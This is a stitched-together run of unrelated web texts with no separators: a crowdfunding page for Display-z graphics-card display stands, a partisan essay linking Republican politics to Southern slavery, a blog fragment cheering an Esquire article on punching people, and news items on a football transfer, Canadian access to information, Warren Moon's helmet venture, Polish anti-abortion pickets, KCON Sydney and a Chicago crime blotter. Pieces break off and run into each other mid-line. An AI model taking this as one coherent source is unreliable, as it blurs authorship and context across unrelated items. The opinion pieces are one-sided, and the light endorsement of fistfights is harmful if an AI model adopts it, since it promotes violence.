The Single Slot x16 Display-z will cover any single slot pci express x16 graphics card or pci express x16 component made. 1.0, 2.0, 2.1, or 3.0 doesn't matter.
Universal AGP
The Universal AGP Display-z will cover ANY AGP graphics card. 1x, 2x, 4x, 8x. Agp 1.0, 2.0, 3.0, 3.5. 3.3 V Key, 1.5 V Key, it doesn't matter.
PCI
The PCI Display-z will cover any pci slot component. Whether that be a graphics card, sound card, or network interface card, or whatever. If it has a pci connector it will fit.
Display-z Measurements
Base/Connector Colors
Base Color Options: Black, Metallic Silver, and White
Connector Color Options: Black, Grey, White, Red, Green, and Blue
Any combination you want!
I really wanted people to be able to match their Display-z as best as possible to their computer case or to the hardware they were displaying. Their are three different base color options, black, metallic silver, and white. All the bases are powder coated providing a beautiful and durable finish that will last a lifetime. There are six different connector color options to choose from as well, black, grey, white, red, green, and blue. With all the color options alone there are 18 different combinations to choose from.
Black base and red connector
Silver base and green connector
White base and blue connector
For the purist, black base and black connector
Also available is a white base and white connector and metallic silver base and grey connector, or really any combination you want.
Everything has been thought of.
As I said earlier Display-z are a fourth generation prototype. Each new version I made improvements to find that perfect balance between looks, durability, and making the base as sturdy as possible.
In both pci express models and the agp model there is extra space machined out to allow for the end connector(s), the piece(s) that usually "hooks" into the connector on your motherboard, to fit snugly into your Display-z out of sight, providing a clean look.
The base and connector is the perfect height. It allows the metal bracket that usually connects to your computer case to sit up off your desk. This makes sure that the bracket won't scratch anything.
Who was Display-z built for?
Anyone that loves computer hardware. Whether you have some emotional attachment to specific hardware or just love the way they look and you want to proudly display them, Display-z is perfect for you. Also businesses will benefit by using Display-z to showcase some of their best selling and up and coming hardware.
- Hardware Enthusiast
- Pc Gamers
- Displays for Retail Businesses
- Displays for Trade Shows
- Movie Animators
- Game Developers
- BitCoin Miners
- Anyone who thinks their hardware is sexy and they want to show it off.
Each Display-z is machined from a solid block of 6061-T6 aluminum. Aluminum was the perfect choice, it provides the base with enough weight to properly hold the card and it looks great. Also each Display-z is powder coated in your choice of three colors, black, metallic silver, and white. Powder coating also was the perfect choice, most computer cases are made from painted steel, powder coating allowed me to get a look much closer to an actual case, but provides a much more durable finish. What you get when you buy a Display-z is a product that will literally last a lifetime.
Display-z are Made in the USA!
Each Display-z is machined, powder coated, and assembled in the USA. I personally wanted a quality product built to last a lifetime. I chose smaller manufacturers who could give me great customer service and people who would really value my business. The machining company is based out of Lafayette, IN and has been a family run business for over 30 years. The people I chose for powder coating is based here in Indianapolis. They do work for many IndyCar and Formula 1 racing teams, they have an excellent state of the art facility, and have been great to work with.
Where you come in.
I have designed, tested and refined 4 different prototypes to deliver to you the best possible product I can make. Ordering parts, website design, marketing, and starting a business in general is very expensive. With your pledge I can start production on Display-z and get them into the hands of people who want them. Also, if you know anyone who would love to have a Display-z please share this project with them on Facebook or Twitter.
Production Schedule
Waiting for funds to clear can take up to 20 days.
Week 1 - Send out the survey, this allows the backers to choose the options they want.
Week 1 - Order all the various connectors, pci express, agp, and pci.
Week 1 - Place order with the machine shop.
Week 6 - Receive machined parts and hand measure each one to ensure quality.
Week 6 - Place order to powder coat each part.
Week 6 - Order all shipping and packaging supplies.
Week 7 - Receive powder coated parts, assemble, test, and inspect each one.
Package and ship! I expect to start shipping orders in December.
About me.
I've loved computers the moment I got my first one. I love to build them, use them, and repair them. I've been building and repairing computers as both a profession and a hobby for nearly ten years. I'm also a nerd, I love anything with the word star in it, or the words fire and fly! If it's got a spaceship, an alien, a dwarf, or a magical sword, I'll watch it, play it, or read it.
Photos of Display-z can be downloaded here.
Thank you for your support,
James AndersonIn two earlier articles (here and here), I argued that the Republican Party’s extremism can be traced to its increased dependence on an electorate that is largely rural, Southern and white. These voters, who figure prominently in the Tea Party, often decline to interpret political conflict as a struggle among interest groups or a good-faith clash of opinion. Instead, they tend to identify the country as a whole with an idealized version of themselves, and to equate any dissent from their values with disloyalty by alien, “un-American” forces. This paranoid vision of politics, I argued, makes them seek out opportunities for dramatic conflict and to shun negotiation and compromise.
In what follows, I want to extend these thoughts a bit further by exploring one simple question: why is this strain of political paranoia so entrenched in the South? The answer, I believe, will shed light not only on the current state of our politics but on the evolution of American conservatism generally.
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We should begin with a clarification. What we want to explain isn’t why rural voters might think their interests sometimes diverge from those of urban (and suburban) Americans. That is easily enough explained: they think it because it’s true. Rural and urban areas have distinctive concerns, and these sometimes result in incompatible demands on policymakers. These kinds of conflicts are the mother’s milk of politics, so none of this is particularly surprising or, indeed, interesting.
What is surprising and interesting is when this conflict is experienced not as a matter of interests but of identity. It’s one thing to see urbanites as fellow citizens whose policy preferences depart from one’s own; it’s quite another to argue that their policy preferences give rise to serious doubt about whether they’re really Americans. Yet exactly this is the message of all those conservative complaints about “socialistic” Democrats who ignore our constitutional traditions as they labor to install a “nanny state.” These aren’t true Americans, resolute, independent, self-reliant; they’re feckless, faux-European traitors. (Though one, in particular, may have closer connections with Africa than Europe. You know who I mean.)
To think in this way, one must identify the country with one’s own beliefs and values. Those with different preferences then become almost definitionally “un-American.” This identification has the consequence, however, that political conflicts are often experienced as personal crises; what’s at stake isn’t simply policy, but one’s own sense of self. This releases anxieties that cluster around an intensely imagined Other: liberal, conspiratorial, seditious.
This explanation of the mechanics of political paranoia may or may not be correct; I argued in detail for it in the first article mentioned above. But even if true, it leaves one important question unanswered: what prompts that first crucial step -- the identification of one’s own values with the country as a whole?
A partial answer arises directly from the sociology of rural culture. Persons who live in cities learn quickly that the world is full of different kinds of people; diversity -- of race, religion, outlook, speech, etc. -- is a fact of life. Because of this, they tend not to connect these personal attributes with one’s ability to be a trustworthy member of the community. If they think about the conditions of citizenship, they are more likely to associate them with general qualities of character -- honesty, integrity, loyalty -- equally available to everyone, regardless of background.
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Many rural areas, by contrast, lack this aboriginal experience of diversity; they may be characterized by high levels of uniformity in ideology, race and religion. Given this, it may be natural to assume that “everyone” believes what you believe, or worships as you worship, or looks and speaks as you look and speak. And because these attributes characterize the community as a whole, it may be equally natural to define the latter in terms of the former -- to think of these qualities as necessary for responsible citizenship, for being “one of us.” Only a small step is needed to extend this logic from one’s own community to the country as a whole.
I said this answer is only partial. That’s because it explains why the identification of self with nation arises in the first place, but not why it persists. In the America of 2013, more thoroughly colonized by communications technology than any society in the history of the planet, no community is an island; each is part of the main -- and The Matrix. Geographic isolation has been overwhelmed by smart phones, the internet, cable and satellite TV and Red Box. One’s own community might be an emblem of ideological orthodoxy, racial purity or religious conformity -- but there is no escaping the knowledge that the country as a whole (much less the world) is not. So if we want to know why this identification endures in some environments but not others, we’ll have to add something to our account -- a mechanism to explain the stubborn insistence that some people will always be outsiders. And because the South is ground zero for the paranoia that rules today’s Republicans, our explanation will have to apply with particular force and resonance to it.
I don’t think we have to look far. The explanation lies in the South’s experience with black slavery and white supremacy.
Slavery has been around a long time, of course, but in the ancient and medieval worlds it was rarely a matter of race. Slaves were often drawn from conquered peoples -- they were part of the spoils of war -- and were more often than not of the same race as their masters. When the ancients bothered to justify slavery at all, they usually did so on purely utilitarian grounds: you couldn’t run a successful society without it. There were occasional exceptions, Aristotle being the most notorious, but they stand out precisely because of their rarity. As the British philosopher Bernard Williams pointed out, Aristotle’s tortured attempt to argue that some people were “natural slaves” convinced few and puzzled many.
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This view of slavery as grounded in social (mainly economic) necessity had an important implication. It meant there was no irrevocable fund of social animus directed at former slaves. Classical civilization accepted the slave’s fate, from his or her own point of view, as a grievous personal misfortune. A slave lucky enough to gain his freedom did not face a community which regarded him with sustained suspicion and contempt. He took his place in society and enjoyed the liberties and prerogatives to which his station entitled him.
The situation was quite different in the antebellum South. Slavery there was based on race and was justified by an ideology of white supremacy. Blacks were seen as inherently, necessarily, irreparably inferior to whites, who ruled over them in accordance with Nature and Nature’s God. But this meant, of course, that even a freed slave was exiled from his wider society. He could never participate in its dominant institutions or gain acceptance from its members. The membrane dividing slave from non-slave might be legally permeable; manumissions did sometimes occur. Socially, however, it was unbridgeable.
For black Americans slavery was a holocaust and a nightmare. For white Southerners it meant (among other things) living intimately with millions of human beings who were permanent outsiders -- persons whose natural incapacities, as the white South saw them, meant they could never be trustworthy members of the community. For white supremacists, citizenship had one very definite condition of entry: white skin, and the potential for moral personality that came with it. The racial divide defined the difference between civilized society and the enthralled barbarism that lay beyond and beneath it.
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It would be hard to overstate the influence of this experience on the mind of the South. For one thing, it meant that the white South was, in effect, a garrison state. White Southerners lived in close proximity to a large population they routinely abused, terrorized and defiled. Fear of black violence and revolt is a constant theme of white society before and after the Civil War. The South’s noisily martial version of patriotism has its roots here, as does the region’s love affair with guns. And there are obvious connections between these facts and its stubborn embrace of patriarchy and misogyny. (Does the name “Todd Akin” ring any bells?)
Of greater relevance to our present concerns, however, are the implications for the South’s political psychology. Here the region’s history as a slave society left a very particular imprint, one that lingered long after slavery and Jim Crow collapsed. I mean the habit of imagining society as a two-tiered structure, with the “normative” community on top and a degenerate class of outsiders below. The former consists of those who satisfy the prerequisites of citizenship, and can therefore be trusted to fulfill the social contract voluntarily; the latter of those whose inherent debilities ensure that coercion is the only reliable guarantee of cooperation.
This is a fraught subject, so I want to make my meaning clear. I am not arguing that all Southerners -- or all conservatives -- are racists or paranoids; I’m not even arguing that all Southerners are conservatives. (I myself would personally disprove that assertion.) Slavery, thankfully, disappeared long ago, and Jim Crow is now almost two generations behind us. Racism lingers on in the South as in America generally, but for the most part must now keep its head down and its voice low; it’s the vice that dare not speak its name. (This is not to deny, of course, that it retains considerable social valence.) What I am arguing is that a certain habit of thought, powerfully shaped by the experience of slavery, survived the passage of that curse and continues to influence some Southern conservatives to this day. It no longer takes the form of a blatant assertion that only the white race is worthy of social trust; its definition of the normative community has shifted. (Though it remains associated with racialist, or at least race-conscious, themes.) It is now more likely to define that community in ideological terms -- to see it as consisting of those who endorse a particular view of government and its rightful relations with traditional mores and economic power. It has, however, retained certain aspects of its earlier, darker origins. It is still obsessed with purity -- ideological if not racial -- and still invests those it regards as impure with a harsh, acute animus. And it continues to equate difference with illegitimacy. Those on the outside -- the liberals, the Democrats, the “socialists” -- cannot be trusted partners in political life; they want only to undermine our institutions and must therefore be expelled from them.
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Thus we arrive at the paranoid version of politics described above, in which policy disputes signal an insidious betrayal of “our” way of life. This is surely what animates the conduct of today’s Republicans -- the reflexive rejection of compromise, the flagrant violation of long-established institutional norms, the experience of diversity as an invasion by foreign, unfamiliar powers.
The Republican belief that it would be better to suspend the government (or default on the debt) than to fund “Obamacare,” for instance, can be explained only by this kind of wrathful, embattled logic. There is a sense in which the current shutdown is the culmination of the last 50 years of Republican history. Today’s GOP is the heir of Reagan’s remark that “[G]overnment is not the solution… government is the problem,” even as Reagan embodied the strident, anti-statist dogmas of Barry Goldwater. The Party’s development since 1964 has, in effect, been one long preparation for the time when it would have to argue that no government would be better than liberal government. It would make no sense to say this if liberals were simply misguided souls with some bad policy ideas. It makes perfect sense when one sees them through the prism of Tea Party doctrine: as illegitimate interlopers from the outer darkness whose intent is to exploit and subvert the normative American community.
Not long after the shutdown began, Rep. Martha Blackburn, a Republican from Tennessee, appeared on Fox News. “I think… people are probably going to realize they can live with a lot less government than what they thought they needed,” she chirped. The hapless John Boehner, emerging from a meeting with the President and other Congressional leaders, was less exuberant but no less revealing. The President’s refusal to negotiate, he implied, was inconsistent with the fact that “we’ve got divided government.” In his mind, whether the government should continue to function is just one more conflict to be stage-managed and gamed out; one more thing we might be divided over, no different in kind from disputes about tax rates or military policy. That government is the framework within which democracy occurs; that a minority committed to democracy would recognize this; that therefore real questions are raised when a minority favors its own constituency over the continuation of government -- none of these things occurs to him. But the intellectual architecture behind these thoughts disappeared from Boehner’s universe long ago. For today’s Republicans, government -- like health care reform, abortion, and same-sex marriage -- is just another emanation from the liberal darkness. These New Confederates have reversed the logic of the Old; unlike their predecessors, they don’t want to secede from government: they want government to secede from American life. But like their ancestors in 1860, they’ve bestowed upon us a full-blown legitimation crisis. It’s their gift to America.
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As the shutdown makes clear, we don’t have the option of shrugging this off as a matter of purely sectional concern. While these attitudes are certainly not confined to the South, they seem to have a special virulence there, and the South is now the electoral center of gravity for the Republican Party. That party, in turn, is the institutional face of the conservative movement. In closing, I would like to explore the implications of this analysis for a certain question about American conservatism.
Left-leaning students of conservatism -- in whose ranks I include myself -- sometimes impose on it the demand for a specious (not to say foolish) consistency. They want to find a principle that reconciles John Adams with Joe McCarthy, or that exhibits William F. Buckley, Jr. as a direct descendant of Edmund Burke. Seeing that this is impossible, they infer that conservatism isn’t a coherent intellectual tradition at all but simply an amalgam of reactionary impulses -- a “collection of irritable mental gestures” as the critic Lionel Trilling memorably put. (Though Trilling, I hasten to add, was far too subtle a thinker to believe this caricature applied to the conservative tradition as a whole.)
The truth is that conservatism, like liberalism or any other tradition worthy of serious study, is too complex to sustain this kind of reductionism. Outside of mathematics and logic, coherence is rarely a matter of deductive rigor. If we can find a few core concepts or concerns in a body of ideas, and if these have any force at all, that justifies taking it seriously.
I think we can find such an intellectual core in American conservatism. It is most easily discerned, perhaps, in contrast with its great rival, liberalism. Liberals -- surprise! -- believe in liberty. To put this point less abstractly (and tendentiously), they believe individual liberty should be the central value in the organization of political life. A corollary of this view is that liberty should be restricted only for the sake of a greater liberty.
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Conservatives may agree that liberty is an important value -- Burke, for example, endorsed the ideal of an “ordered liberty” -- but not that it’s the paramount value. Because no person can lead a recognizably human life outside society, conservatives believe the integrity of the social fabric must be ensured even when this conflicts with individual liberty. The paramount value for conservatism, then, tends to be a principle of authority.
One way to distinguish among different strands of conservatism is to ask exactly how this principle is defined and applied. When given a narrowly religious construal, for example, it can result in a social world that is punitive, harsh and dogmatic. (One thinks immediately of Joseph de Maistre and the Catholic Right in France.) More influential for American conservatism, however, was the English emphasis on society as a network of institutions and practices -- some religious, some cultural and political, some economic -- whose combined efficacy depends on a carefully preserved balance. This view, presented so forcefully by Burke in England, was echoed by early American conservatives such as John Adams and Alexander Hamilton.
The idea of society as a delicate weave of various elements has an important consequence: namely, that every element makes some claim on every other. These conservatives certainly thought of hierarchy as important to society, but it was a hierarchy within society: each “interest” was accepted as part of the social fabric and its concerns accorded an appropriate weight. This sense of the nation as a community prompted Thomas Carlyle and John Ruskin, for instance, to criticize the socially corrosive effects of early English capitalism.
This vision did not, of course, transfer seamlessly to the very different society of the new American nation. Some tensions were always apparent, most notably the fact that, outside the South, American society was significantly more liberalized than the English. This gave rise to a peculiar (if piquant) paradox: the social order that American conservatives sought to “conserve” was in many respects a liberal one.
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Most of the obscurities and difficulties of American conservatism derive from this antinomy. The solution of mainstream thinkers was to argue that American culture includes conservative forces -- forces, such as religious faith, that constrain the dynamism of its economy and society -- and that these should be safeguarded and encouraged. They also emphasized, more or less persuasively, the importance to capitalist democracy of certain “conservative” habits of thought and conduct -- honesty, prudence, reliability, etc.
In doing so, conservatives did not abandon their sense of society as a kind of community, one whose stability depends crucially on relations of fidelity and mutuality. Not, that is, until they responded to the entreaties of white Southerners in full recoil from the civil rights movement of the mid-1960s. Under the influence of this new constituency, their vision of the community as a whole began to curdle and contract, until finally it extended no further than the “normative” community: that subset of persons whose interests alone were deemed to have weight and value.
As mentioned previously, it is no longer customary to specify this subset in explicitly racial terms. These days the preferred enumeration is ideological: the insiders consist of the productive and self-reliant, those who accept and enact the values of work. On the outside are the “takers,” the parasites, the “47%,” all those whose sloth and selfishness leave them dependent on the diligence of others. (That this ideological turn is still heavily implicated in racial distrust may be too obvious to require mention.)
This fracturing of vision has secured for conservatives the loyalty of the revanchist South, but at a considerable price. A creed that once sought to moderate social tensions is now the vehicle of an intense animus. The belief that all members of society have claims to make has been replaced by an angry, bitter exclusionism. And its embrace of self-reliance has hardened into an economic Darwinism more inclined to celebrate than to critique an increasingly rapacious global capitalism.
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This last point is especially important, because it highlights the absurdity of the notion that today’s conservatives have any meaningful relationship with libertarianism. One often hears, for example, Rand Paul or Marco Rubio or Ted Cruz referred to as members of the “libertarian wing” of the Republican Party. This sort of thing makes one wonder if the commentator thinks “libertarian” is a synonym for “intransigent.” It is, in fact, the name of a particularly stringent form of liberalism, one that differs from anarchism only in its belief that some kind of highly minimal, schematic state can be justified. The question, of course, is what fills the social space created by the contraction of the state. Libertarians, rightly called, believe this space should be filled by a principle of individual liberty. But this is not what Paul or Rubio or Cruz or any other Republican believes. Paul, for instance, opposes abortion rights and same sex marriage. Like Rubio and Cruz and the Tea Party generally, he seeks a smaller government in order to fill the resulting space with some other source of authority and power. He is a perfect example of Sunbelt business conservatism, which wants to displace government so corporate and personal wealth can prevail in a social world dominated by the traditional culture of the evangelical South.
William F. Buckley, Jr., in so many ways the father of modern American conservatism, once famously described the conservative as “standing athwart History, yelling ‘Stop!’” But the shrill faux-individualism of today’s Southern-fried conservatives actively abets one of the most destructive trends in American life: the fact that our notions of agency are increasingly fragmented even as the structural forces which constrain agency grow ever larger. In a 2012 Republican Presidential debate held in Florida, Ron Paul, Rand’s father, asked rhetorically what should happen if someone without health insurance shows up at an emergency room. “Let him die!” roared part of the audience, to loud applause.
That is the cry of our Southern conservatism.Men, please take this as the verbalization of fantasies I know everyone of you has had. Ladies, take this as an inside look at the hardwiring of the male mind…
Perhaps it’s too much flying monkey or watching mating battles on Planet Earth, but I’m beginning to think (once again) punching jerks might not be such a bad idea.
The current issue of Esquire brought out my inner Tyler Durden with a hysterical article called — I believe — “Why I Started Punching Jerks Again.” I believe? I believe so because the online editors changed the title to “In Defense of the Fistfight.” Shame on them. The original makes more sense, as it’s first-person…
If you dislike some artful use of profanity, please close your eyes now. Here’s the lead from Esquire:
This whole thing started — or maybe it ended — with these guys engaging in some ritualistic, Hare Krishna clapping shit. They were sitting at a table across the bar from my buddy Phil and me. We were trying to enjoy a quiet pint in our quiet local on a quiet evening, but these hippies wouldn’t quit with their clapping. Swear to God, they might as well have been crashing cymbals in my ears. I asked them politely to stop. “Make us,” they said, and then they clapped louder, smiling their dirty-toothed smiles at us, twisting our nipples. One of them was named Jericho, I picked up. He was a skinny bearded guy who looked as though he’d wear Guatemalan mittens in winter. “Jerry,” I said when they finally took a break, “come on over here, have a chat.” He did, and |
did not feature in the International Champions Cup, his future has been the subject of speculation.
Napoli president Aurelio de Laurentiis admitted last week that the Serie A club are interested in Fellaini and Benitez is hopeful a deal can be agreed soon.
He told the Italian media: "It's hard not to talk about the transfer market -- names keep cropping up constantly. For Fellaini, it's all down to United, not us.
"In midfield, we're looking for a player with the right winning mentality. If Fellaini arrives immediately then there won't be any problem getting him used to our system.
"I have to draw up my list of players for the Champions League so we don't have much time. He's not been playing for United so we've just got to wait and be respectful.
"We'll wait until they get back to Europe and then maybe you journalists can change your headlines."
Fellaini joined United from Everton for 27.5 million pounds in September last year, but he endured a difficult debut year at Old Trafford.
He failed to score and lost his place in the team before new manager Van Gaal signed another central midfielder, Ander Herrera, this summer.
ESPN FC's Italy correspondent, Ben Gladwell, contributed to this report.Information Commissioner Suzanne Legault says a lack of leadership and resources is creating weaknesses in Canada's access to information system that need to be urgently addressed.
At a news conference in Ottawa to release her annual report to Parliament, Legault faulted successive governments for allowing the access to information system to fall behind the demands made by Canadians.
Her report found one federal institution — the RCMP — does not have enough staff to even acknowledge the receipt of access requests for six months, while in other cases response times to some requests can be as long as three years or more. Under the law, the government is obligated to acknowledge requests and respond within 30 days, or offer an explanation why more time is needed.
Legault also pointed to the fact that Parliament itself is not covered by the Access to Information Act nor is the federal court system.
"All together, these circumstances tell me in no uncertain terms that the integrity of the federal access to information program is at serious risk,” said Legault in a statement accompanying the release of her report.
Access to information, introduced by Parliament more than 30 years ago, requires federal departments and agencies to respond to requests for information. The regime was expanded in recent years to include Crown corporations, including the CBC.
But response times have risen to unacceptable levels in many cases, while technological changes in the way departments communicate have created new challenges for the system.
Lack of leadership
Legault said she will submit recommendations for reform later this fall. And, she said, she will be releasing details of an investigation into federal institutions' growing use of wireless text-based messages for internal communications — and whether those messages are properly being kept and released when requested.
Suzanne Legault, Canada's information commissioner, leaves a press conference in Ottawa following the tabling of her annual report, which found serious 'deterioration' in the access to information system. (Sean Kilpatrick/Canadian Press)
"It is imperative that the access problems be fixed promptly and significantly. There is truly a need for leadership on the part of the government and the individual institutions," Legault told reporters.
"Unfortunately, yesterday's speech from the throne is silent on matters of transparency and accountability."
Asked where the leadership needs to come from, Legault said Treasury Board President Tony Clement is the minister responsible under the law and should be held accountable.
And deputy ministers are responsible for the response of federal departments and they report to the clerk of the Privy Council. Perhaps, she suggested, the response to access requests needs to be part of deputy ministers' performance reviews.
Legault said she has met with Clement to discuss the problems, but would not reveal details of their conversation.
NDP ethics critic Charlie Angus told The Canadian Press the commissioner's criticism is "some of the strongest language we've ever seen from a parliamentary officer."
"We're talking about denying access to Canadians about how money is being spent."
Speaking to reporters on Parliament Hill Thursday, Clement said the government has faced a surge of information requests from ordinary Canadians and said the government's "open and transparent record" was second to none. He said the number of requests the government replied to last year went up by 27 per cent, to 54,000.
In an interview with Evan Solomon on CBC's Power & Politics Thursday, Legault agreed requests to the government are going up "significantly."
"The problem is, the government doesn't have the capacity to respond to these requests on time," she said. "That is not transparency."
"At some point, somebody has to take responsibility," Legault told Solomon. "I am not the first information commissioner that's been saying the system is failing. What I'm saying now is, failing dangerously. To the point where we're not actually meeting our legal obligations."
Trained personnel needed
Legault said the problems with information access did not originate with the current Conservative government — in fact, she said, her statistics show that the deterioration in response times started around 2000.
And while recent budget cuts and cuts to the federal public service are a concern, she said a larger problem is that there are not enough people qualified to handle requests.
"That is again a question that should come under the authority of the Treasury Board Secretariat — they need to train officials to be able to handle the requests," Legault said in French.
The delay in handling access to information requests is worsened when events like this summer's railway derailment and explosion in Lac-Mégantic, Que., generate a lot of interest and lead to an increase in requests. Legault said Transport Canada is saying it will take a year to respond to requests related to that event.
Legault said she also remains particularly concerned about the RCMP's response to access requests, noting that requesters are still being told only that the force will respond when it can. She said she has spoken to RCMP Commissioner Bob Paulson but has not seen the force's plan to deal with the backlog, although the RCMP is in the process of adding staff to deal with it.
She said that when a department gets behind in access requests it can take up to three years to recover.Rather than sue the league as 2,200 of his former NFL brethren have, Hall of Famer Warren Moon is on a mission of concussion prevention for the game he loves.
Moon is pitching a high-tech helmet that might reduce head trauma and help prevent the debilitating effects of diseases such as Chronic Traumatic Encephalopathy, which studies seem to indicate could have linkage to repeated head blows.
As the founder and president of Sports 1 Marketing in Southern California, Moon clearly will benefit from any surge in sales of the 4-year-old Xenith helmet designed by former Harvard quarterback Vin Ferrara. The headgear features 12-18 shock absorbers inside.
But on a Tuesday conference call, Moon said he is motivated to better protect all football players -- including Indianapolis Colts rookie Andrew Luck, who is considering the Xenith model -- in the wake of Junior Seau's death from a self-inflicted gunshot to the chest May 2.
Moon said he was shocked to learn that the hard-hitting linebacker never suffered a reported concussion on any injury report.
"I know he took a lot of helmet shots and gave a lot of helmet shots as well,'' Moon said. "So for him to never have been diagnosed with one concussion is really surprising to me.
"I would think if they are able to look at and really study his brain, they would see that maybe there was some brain damage there that would cause him to do something like what he did. And I think every guy that's done that, whether it was Andre Waters or Dave Duerson or some of the other guys who have committed suicide, they go and look at their brains, and they see that there's considerable damage there.... That's something that really concerns me.
"And even though I was involved in the concussion and head injury project before Junior's death, it just kind of re-emphasizes the fact that I am doing the right thing in trying to bring more awareness to this.''
Moon, 55, has suffered no short- or long-term memory effects despite enduring six career concussions during his 17-year NFL career. Moon also played six seasons in the CFL from 1978 to 1983.
"It's something I'm just going to keep an eye on, and it's something that concerns me because when you get to the age of 50 or so, that's when you start to see a lot of changes that possibly happen from your days of playing football,'' Moon, now a Seattle Seahawks radio analyst said.
"Right now, my thing is to make sure we can protect as many young guys as possible coming up in the game as well as the guys that are playing professional football.... And then look after these guys who are suffering and struggling from head injuries they had playing the game.''
Xenith is projected to sell approximately 100,000 helmets in 2012, up from 12,000 in 2009. An estimated 150 NFL players, including Baltimore Ravens RB Ray Rice, will wear the helmet this season. The model is also worn by several major college teams including Notre Dame, Michigan, Miami (Fla.), Oregon, Florida, UCLA, Stanford.
The NFL currently has a licensing agreement with Riddell helmets that expires after this season. While players have a choice of what brand they wear, Riddell is the only brand whose equipment name can be displayed during games.
"I think the Xenith helmet is really going to revolutionize pro football and grassroots football as more people get exposed to it,'' Moon said. "So far, through all the tests that have been done, it has shown it is superior to any other helmet on the market.''
Ferrara was an All-Ivy League selection for the Crimson whose experience with head injuries prompted him to pursue his medical and MBA degrees from Columbia and to subsequently attempt to heighten awareness of head and brain injuries.
"They're like shock absorbers work on a car, it lightens the friction of the blow,'' Moon said of the cushioning system in Xenith helmets.
"It really is designed to protect the major spots on your head that might have some type head collision.... It's very innovative and one of the safest helmets because of the way it's designed.
"The big thing with me is just kind of getting the awareness out there, because the players should have access to whatever is on the market that is best for them to wear.... I won't be out there going one-on-one trying to recruit guys to wear the helmet. But they'll definitely know that I'm out there as far as the information that we're putting out.''NewsAbortion, Politics - World
WARSAW, Poland, March 24, 2017 (LifeSiteNews) — Organizers launched a Hospitals without Abortionists campaign by reminding the Polish minister of health that there have been “1,500 victims of abortion” in the 500 days since he took office.
The national campaign started in front of the Ministry of Health building on the National Day of Life. Minister of Health Konstanty Radziwiłł is part of the ruling Law and Justice Party government that took office in 2015.
“Nobody can remove this responsibility except him. Only he can do this by opposing the murderous practices,” said Mariusz Dzierżawski of the Right to Life Foundation, which organized a press conference that was attended by actress Dominika Figurska and Nigerian-Polish crusader for life Bawer Aondo Akaa.
As Jan Bodakowski of wolnosc24.pl reported, the briefing started a bit late because three protesters were yelling “Freedom, equality, and abortion on demand!” through loudspeakers. One wore a pin with an image of Lenin, Bodakowski noticed.
During the press conference, Dzierżawski explained that since Law and Justice took power “every single day abortionists kill three children in public hospitals.” The Right to Life Foundation had drafted a proposal to ban all abortions that the party killed in 2016.
“These are horrible statistics and the responsibility for the killings in hospitals goes to the politicians,” Dzierżawski said, adding that “they had a chance to change ‘the murderous law’ but chose to maintain it. They rejected life and chose death.”
In a letter to Radziwiłł, the Right to Life Foundation cited a lack of significant changes in health policy. They specifically mentioned in-vitro fertilization, which allows “the production of babies in the laboratory and treating ‘defective’ people as trash,” abortifacient pills (ellaOne), and surgical abortions in public hospitals.
The pro-lifers plan to publicize statistics of unborn killed in Polish hospitals. Kinga Małecka-Prybyło of the Right to Life Foundation called Warsaw Orłowski Hospital, where 120 unborn were killed last year, “the biggest slaughterhouse.” The hospital was followed by one in Ruda Śląska and the Institute of Mother and Child in Warsaw, where 98 and 44 unborn were killed, respectively.
The organizers vowed that regular pickets of hospitals with gynecological wards will soon follow in several dozen cities. It is “to remind the doctors that abortion means killing the unborn.” The pro-lifers believe picketing is an effective tool in fighting abortion to inform the public and awaken the conscience of the gynecologists.
The case of the once-infamous Specialist Hospital Pro-Familia in Rzeszów shows that such protests can be effective. The hospital has been a target of numerous protests since 2014 and even responded by filing civil and criminal lawsuits against the Right to Life Foundation. However, in 2016, it finally stopped performing abortions when all the gynecologists working there signed a conscience clause.
Polish pro-lifers hope to duplicate this success in the city of Gliwice. Anna Kiljan of the Right to Life Foundation told LifeSiteNews that a hospital there performed 11 abortions in 2015 and became a target of pickets. In 2016, there were no abortions there, but “they did not announce any change, unlike the Pro-Familia, that they had stopped killing the unborn,” Kiljan said.
Besides the pickets, organizers plan to place billboards on buildings directly in front of the hospitals “to constantly remind the public about the murders committed in a given hospital.” When billboards are not possible, “we will park cars with identical information,” they said.
The primary goal of the campaign is to stop “the hospital murders,” the pro-lifers said. According to Polish law, abortion is illegal except in certain circumstances. The first exception is when a doctor believes that the baby has a severe and irreversible handicap or an incurable and life-threatening disease. In such situations, the procedure is allowed until the baby is viable, which means late-term abortions for a 6-month-old unborn baby. The second is when the woman's life or health is endangered. There are no legal limits as to the time when it can be performed. The third is when the pregnancy is a result of a criminal act. In those cases, abortion is permitted until the 12th week.EXO, Wanna One, SF9, and many more Korean pop culture superstars will be heading to Sydney next month for KCON 2017 AUSTRALIA.
EXO are the final act announced for this massive two-day festival, with appearances by Cosmic Girls, Girls’ Day, MONSTA X, PENTAGON, SF9, UP10TION, VICTON and Wanna One. This will mark the first time the hugely-popular convention will be in Australia.
Destination NSW Chief Executive Officer Sandra Chipchase said: “KCON has become a global phenomenon and we are delighted to be supporting Australia’s inaugural KCON in Sydney this September. Showcasing the best in Korean pop culture and music, KCON is set to be an unforgettable high-energy event for Australian fans of all ages.”
KCON 2017 takes place over two days at Qudos Bank Arena on 22 and 23 September. Pre-ticket sales open tomorrow, Friday 11 August, at 12 noon, with general public tickets on sale from 2pm, next Monday August 14.16 Crime 5-10
A MAN WAS shot at about 1 p.m. Friday, May 5, in the 4800 block of West Argyle Street, according to 16th (Jefferson Park) District police.
Officers responded to a call of gunshots fired and they discovered a 41-year-old man with a gunshot wound in his pelvic area walk out of a gangway and collapse on the ground, according to police. The man reported that said someone shot him while he was visiting his friend’s landlord, police said. Officers discovered several shell casings located in the alley where the man collapsed, according to police.
The man was transported to Saint Francis Hospital in Evanston in serious condition, police said.
A WOMAN reported she was robbed at about 7:40 p.m. Thursday, May 4, in the 6200 block of West Raven Street, according to 16th (Jefferson Park) District police.
The 29-year-old woman reported that she exited her vehicle and a group of five women whom she knows to be gang members approached her and that three of the women shattered the front windshield and driver’s side window of her car with a baseball bat while her 8-year-old daughter was still inside the vehicle, according to police. The woman reported that the women struck her in the head and face and took a cell phone from her, police said. A witness reported that he saw a black Chrysler sport utility vehicle driving away from the scene and another witness reported that she observed three women driving away from the scene in a dark blue Dodge sport utility vehicle, according to police.
The woman was transported to Luther General Hospital and treated for minor injuries, according to police.
The woman and her sister reported that a live online stream of the incident was posted on Facebook and that her sister has the video recorded on her cell phone, police said.
TWO MEN were charged assault following their arrest at about 9:30 p.m. Friday, May 5, at the Pub OK Tavern, 5659 W. Irving Park Road, according to 16th (Jefferson Park) District police.
